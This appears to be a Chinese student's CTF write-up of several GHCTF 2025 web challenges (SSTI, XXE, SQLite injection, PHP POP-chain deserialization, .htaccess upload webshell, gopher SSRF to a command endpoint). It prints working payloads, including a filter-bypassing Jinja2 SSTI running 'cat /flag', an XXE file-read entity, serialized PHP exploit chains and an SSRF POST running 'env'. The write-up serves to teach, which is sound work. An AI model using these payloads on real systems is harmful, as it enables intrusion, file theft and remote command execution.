upload?SSTI!

打开附件看看,发现只能上传txt,log,text,md,jpg,png,gif文件,过滤了_,,os__builtins__,subclasses,globals,flag这几个

先试一下有没有回显

打开文件路径

查看有回显。说明上传成功了

之前在寒假学习中,经过高人指点,fenjing上有一个用法

所以直接把那几个拉进黑名单里

跑出来一个playload

1
{% set ao = lipsum | escape | batch(22) | first | last %} {{ ((lipsum[ao+ao+'globals'+ao+ao][ao+ao+'builtins'+ao+ao][ao+ao+'import'+ao+ao]('os')).popen('cat /flag')).read() }} 

直接交看文件就行

>(>﹏<)

这一题感谢高人指点,要不,我什么都做不到……

进去发现是一段flack代码

在源代码这里他会整理一下

审计一下代码发现在这个页面它会把代码显现出来,而在/ghctf中它才是我们传入playload的界面

而在这个页面下先用post传参,用xml来接收并打印出来。

如果xml没有参数,那么就返回System is safe

如果有的话进入下一步:

parser = etree.XMLParser(load_dtd=True, resolve_entities=True)

先是创建一个XML解释器对象,并配置其行为:(load_dtd=True, resolve_entities=True)

load_did=True:允许解释器加载外部DTD(文档类型定义)文件。

其中DVD用于定义XML文档的结构与实体。如果XML包含<!DOCTYPE[…]>声明,解释器会尝试加载指定外部的DVD文件(如 SYSTEM"https://~~~~")

resolve_entities=True:允许解析XML实体(如&xxe;)

其中实体可以是预定义实体(如%lt; 表示<)、自定义内部实体(如)、或外部实体(如

root = etree.fromstring(xml, parser)

使用配置的parser解析传入的XML字符串xml,生成一个XML树对象root

解析器读取XML字符串,并验证其格式

若存在<!DOCTYPE>声明且load_did=True,加载外部DVD

若存在实体且resolve_entities=True,解析并替换所有实体(如把&xxe;换成文件内容)

将解析后的XML转化为树状结构,root是根节点

name=root.find(‘name’).text

从XML树中找一个名为name的直接子元素,并获取其文件内容

root.find(‘name’):使用ElementTree的find()方法,按标签名name搜索直接子元素。注意,它仅匹配直接子节点,区分大小写,且不支持XPath表达式

return name or None

返回标签里的值或者什么都不返回

刚才上文提到使用post来传参的,先用一个简单的xml=Hello试一下有没有回显

发现有回显,所以可以构造playload了:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>

<!DOCTYPE data [

<!ENTITY xxe SYSTEM "file:///flag">

]>

<root>

<name>&xxe;</name>

</root>

直接上传不行,url编码一下得到

xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE%20data%20%5B%0A%

20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Croot%3E%0A%20%20%3Cname%3E%26xxe%3B%3C%2Fname%3E%0A%3C%2Froot%3E

大功告成:

[GHCTF 2025]SQL???

学习文章:

GHCTF2025-WEB新手向(?)解析-SQL???

SQLite 数据库注入总结

WEB渗透Web突破篇-SQL注入(SQLite)

SQLite sqlite_master

判断回显显位数

6就不行了,所以是5位

成功显示

union select 1,2,3,4,sql from sqlite_master

其中sqlite_master 是 SQLite 数据库的系统表(类似于其他数据库的 information_schema),它存储了当前数据库中所有对象的元数据(如表、索引、视图、触发器等)。其结构如下:

点击图片可查看完整电子表格

sql 是 sqlite_master 表中的一列,记录了创建数据库对象(如表、索引)时使用的 原始SQL语句。通过查询此字段,攻击者可以获取以下信息:

表结构:例如 CREATE TABLE users(id INT, name TEXT, password TEXT),直接泄露字段名。

索引和约束:了解数据库的索引策略。

敏感逻辑:如触发器中可能包含的业务逻辑。

成功找到表和列名,直接查就行

Popppppp

先找入口,发现这里都是原生函数,并且这上面的$arg1,$day1什么的,应该就是链尾了。一般来说,针对反序列化的题目,一定要把链尾找到,所谓的链尾,就是我们实现恶意代码的地方。

该函数的魔术方法是__get(),从访问不可访问或不存在的数据就会触发__get()魔术方法

目前的链子:Mystery{__get()}

仔细看了以下源码,发现Philosopher中hey是不存在的值,所以就会触发__get()方法,此处有发现了__invoke()魔术方法,__invoke()方法是尝试将对象调用为函数时触发这个魔术方法

目前的链子:Philosopher{__invoke()}->Mystery{__get()}

在Warlord发现function原本是变量,但是被当成函数了,所以就触发了__invoke()方法,在此处又发现了__call()魔术方法,当对象访问⼀个不存在的方法,或者不可访问的方法时候触发

目前的链子:Warlord{__call()}->Philosopher{__invoke()}->Mystery{__get()}

看了一遍发现Samurai中的add()比较奇怪,是个不存在的函数或魔术方法,自然就会触发__call魔术方法

在其中还有__toString魔术方法以及__set()魔术方法,

目前的链子:Samurai{__toString}->Warlord{__call()}->Philosopher{__invoke()}->Mystery{__get()}

__toString是在对象(指实例化类的变量)被当成字符串调用的时候触发//echo,

__set()是在动态设置不可访问的属性时或未定义的属性时被调用

在CherryBlossom中就找到了,把fruit1当作了字符串,所以就会触发__toString魔术方法,

其中还有__distruct魔术方法。至此,一条pop链就很清晰了

链子:CherryBlossom{__distruct}->Samurai{__toString}->Warlord{__call()}->Philosopher{__invoke()}->Mystery{__get()}

接下来就是进行绕过双重md5了

1
2
3
4
5
6
7
8
9
10
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}

AI写的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys

# ========== 用户配置区域 ==========
TARGET_SUBSTR = "666" # 要匹配的目标子串
START_POS = 0 # 子串的起始位置
RAND_STR_LEN = 20 # 随机字符串长度
# ================================

CHARS = string.ascii_letters + string.digits

def cmp_md5(stop_event):
global CHARS, TARGET_SUBSTR, START_POS, RAND_STR_LEN
str_len = len(TARGET_SUBSTR)
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(RAND_STR_LEN))
# 第一次MD5计算(需将字符串转为字节)
m1 = hashlib.md5(rnds.encode('utf-8')) # Python 3 需要明确编码为字节
hex1 = m1.hexdigest()
if hex1[START_POS:START_POS+str_len] == TARGET_SUBSTR:
# 第二次MD5使用第一次的二进制结果
digest1 = m1.digest()
m2 = hashlib.md5(digest1)
hex2 = m2.hexdigest()
if hex2[START_POS:START_POS+str_len] == TARGET_SUBSTR:
print(f"[Found] 原始字符串: {rnds}")
print(f"第一次MD5: {hex1}")
print(f"第二次MD5: {hex2}\n")
stop_event.set()

if __name__ == '__main__':
print("开始碰撞双重MD5...")
print(f"目标特征: '{TARGET_SUBSTR}' (起始位置: {START_POS})")
print(f"随机字符串长度: {RAND_STR_LEN}")
print("按 Ctrl+C 可提前终止\n")

cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(stop_event,))
for _ in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
#结果:
#开始碰撞双重MD5...
#目标特征: '666' (起始位置: 0)
#随机字符串长度: 20
#按 Ctrl+C 可提前终止

#[Found] 原始字符串: rSYwGEnSLmJWWqkEARJp
#第一次MD5: 666e8881ab925da651dcd5b0953f5745
#第二次MD5: 666d9a77a7ada5a819c7bf996a80fb

GlobIterator是遍历一个文件系统行为,用这个来遍历显示文件,从而找到flag

GlobIterator 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
?php
error_reporting(0);
class CherryBlossom
{
public $fruit1;
public $fruit2;
function __destruct()
{
echo $this->fruit1;
}
public function __toString()
{
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Mystery
{
public $GlobIterator="/*";
public function __get($arg1)
{
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo($day4 . '<br>');
}
});
}
}
class Philosopher
{
public $fruit10;
public $fruit11="rSYwGEnSLmJWWqkEARJp";
public function __invoke()
{
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
$b=new CherryBlossom();
$b->fruit1=new CherryBlossom();
$b->fruit1->fruit2=new Philosopher();
$b->fruit1->fruit2->fruit10=new Mystery();
$c=serialize($b);
echo $c;
1
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:12:"GlobIterator";s:2:"/*";}s:7:"fruit11";s:20:"rSYwGEnSLmJWWqkEARJp";}}s:6:"fruit2";N;}

SplFileObject 类为文件提供了一个面向对象接口,直接读取flag

SplFileObject类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
error_reporting(0);
class CherryBlossom
{
public $fruit1;
public $fruit2;
function __destruct()
{
echo $this->fruit1;
}
public function __toString()
{
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Mystery
{
public $SplFileObject="/flag44545615441084";
public function __get($arg1)
{
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo($day4 . '<br>');
}
});
}
}
class Philosopher
{
public $fruit10;
public $fruit11="rSYwGEnSLmJWWqkEARJp";
public function __invoke()
{
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
$b=new CherryBlossom();
$b->fruit1=new CherryBlossom();
$b->fruit1->fruit2=new Philosopher();
$b->fruit1->fruit2->fruit10=new Mystery();
$c=serialize($b);
echo $c;
1
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:13:"SplFileObject";s:19:"/flag44545615441084";}s:7:"fruit11";s:20:"rSYwGEnSLmJWWqkEARJp";}}s:6:"fruit2";N;}

ez_readfile

题目是a和b原来的值不相等而md5的值相等

所以使用fastcoll来跑

绕过成功

看了wp:在php出题模版中,有⼀个容器启动命令文件docker-entrypoint.sh。可以看到该命令⽂件在容器初

始化后就会被删掉。但是在提交⽣成镜像后,由镜像⽣成容器⼜需要运⾏该⽂件。因此有的出题者为了

⽅便可能就不删除该⽂件,这时候就可以碰碰运⽓,看看出题者有没有把这个⽂件删掉。没有删掉,就

能够获取路径。

所以接下来对docker-entrypoint.sh入手,成功

访问

1
file=/f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag

得到flag

看了一份大佬的wp,这两个字符串也能达到同样的效果,学到了

1
2
a=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
b=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

学到了学到了

UPUPUP

参考文章:GHCTF2025-WEB新手向详解-UP UP UP!

进入靶场

先爆破一下可以使用的文件其中GIF89a,是常见的图片文件幻术头GIF89a

几个示例下来发现php,phpml是不行的并且不区分大小写,也就是说直接上传一句话木马的php文件是不行的,而jpg,html文件是可行的,之后又加了.png和.htaccess文件都能成功,所以接下来从这个思路入手。

所以编辑.htaccess文件

写upload.jpg文件

分别在靶场上传.htaccess和upload.jpg(改包上传也行),之后访问upload.jpg检查是否成功

若出现这样的界面出现php报错,说明这个php代码已经执行成功了,这样也就上传成功了,可以蚁剑连接了

hhhhhh,这些爆破测试用的文件都在这里

找到flag

学到的知识(早读在背了):

GIF89a的知识:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。GIF89a是 GIF 动画和透明效果的技术基础,它的存在表明文件支持更高级的功能。

攻击者可在恶意文件(如 PHP、HTML、SSRF Payload)开头插入GIF89a头,伪装成合法 GIF 文件,绕过文件类型检测,以达到攻击的目的

关于.htaccess文件(deepseek生成):

在 CTF Web 题目中,.htaccess文件是 Apache 服务器的配置文件,通常用于控制目录级别的服务器行为。攻击者可通过篡改或上传该文件实现 权限绕过、代码执行、路径劫持 等攻击。以下是其核心作用及典型利用场景:

重写 URL(Rewrite Rules):通过 RewriteEngine 和 RewriteRule 修改请求路径,常用于隐藏真实文件路径或实现伪静态化。

设置文件类型解析:使用 AddType 或 AddHandler 强制服务器将特定文件(如 .jpg)解析为动态脚本(如 PHP)。

权限控制:限制目录访问(Deny/Allow)、IP 过滤、密码保护等。

自定义错误页面:通过 ErrorDocument 定义错误响应(如 404 页面)。

包含其他文件:利用 php_value auto_prepend_file 包含恶意代码。

.xbm和.wbmp文件幻术头为.htaccess的注释符的检测绕过:

php 文件上传.htaccess getimagesize和exif_imagetype绕过

.htaccess中的注释符有: \x00 和 #,而有两种不常见的图片类型文件.xbm和.wbmp,其文件幻术头正是以这些注释符作为开头。

.xbm图片的文件幻术头为:

#define width 1337

#define height 1337

.wbmp图片的文件幻术头为:

\x00\x00\x85\x85 或者 \x00\x00\x8a\x39\x8a\x39

[GHCTF 2025]Goph3rrr

扫目录

有个app.py的目录

下载了一个文件

wc一堆base64

尝试解码,但是失败了,分析一下,前面的PNG应该代表这是一个由base64进行编码的二进制图片吧就是靶场显示的那张,我猜的

试着本地运行一下

确实

审计app.py代码

flask框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random

app = Flask(__name__)
BlackList = [
"127.0.0.1"
]

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

下载app.py

1
2
3
@app.route('/app.py')
def download_source():
return send_file(__file__, as_attachment=True)

根目录,生成图片,原base64编码的就不写了,省空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@app.route('/')
def index():
return '''
<html>
<head>
<style>
body {
background-image: url('data:image/png;base64,
//[原base64,为了省空间就不写了]
); /* 背景图像 */
background-size: cover; /* 背景图片覆盖整个页面 */
height: 100vh; /* 页面高度填满浏览器窗�? */
display: flex;
justify-content: center; /* 水平居中 */
align-items: center; /* 垂直居中 */
color: white; /* 字体颜色 */
font-family: Arial, sans-serif; /* 字体 */
text-align: center; /* 文字居中 */
}
h1 {
font-size: 50px;
transition: transform 0.2s ease-in-out; /* 设置浮动效果过渡时间 */
}
h1:hover {
transform: translateY(-10px); /* 向上浮动 */
}
</style>
</head>
<body>
<h1>Hello Ctfer!!! Welcome to the GHCTF challenge! (≧∇�?)</h1>
</body>
</html>
'''

/Login,判断username和passward,不重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
@app.route('/Login', methods=['GET', 'POST'])
def login():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
return b64e(f"Welcome back, {username}!")
return b64e("Invalid credentials!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #007bff;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-primary {
background-color: #007bff;
border: none;
}
.btn-primary:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Login</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Login</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")

/Upload,判断username,上传文件,不重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
if username not in users:
return b64e("User not found!")
file = request.files.get('avatar')
if file:
file.save(os.path.join(avatar_dir, f"{username}.png"))
return b64e("Avatar uploaded successfully!")
return b64e("No file uploaded!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Avatar</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #dc3545;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-danger {
background-color: #dc3545;
border: none;
}
.btn-danger:hover {
background-color: #c82333;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Upload Avatar</h3>
</div>
<div class="card-body">
<form method="POST" enctype="multipart/form-data">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="avatar" class="form-label">Avatar</label>
<input type="file" class="form-control" id="avatar" name="avatar" required>
</div>
<button type="submit" class="btn btn-danger w-100">Upload</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")

还是判断username和password,不重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
@app.route('/RRegister', methods=['GET', 'POST'])
def register():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
return b64e("Username already exists!")
users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
return b64e("Registration successful!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Register</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #28a745;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-success {
background-color: #28a745;
border: none;
}
.btn-success:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Register</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-success w-100">Register</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")

/Manage,典型的SSRF,我们需要本地127.0.0.1并且是POST传入cmd,在os模块中执行命令

1
2
3
4
5
6
7
8
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()

/Gopher,题目和这个Gopher提示的很明显了,重点就在这里.

这里需要传入一个url

1
2
3
4
5
6
7
8
9
10
11
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇�?)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout

先从/Manage的路由抓一个包,看看环境变量,

先构造

1
2
3
4
5
6
POST /Manage HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:7

cmd=env

url两次编码:

发包即可得到flag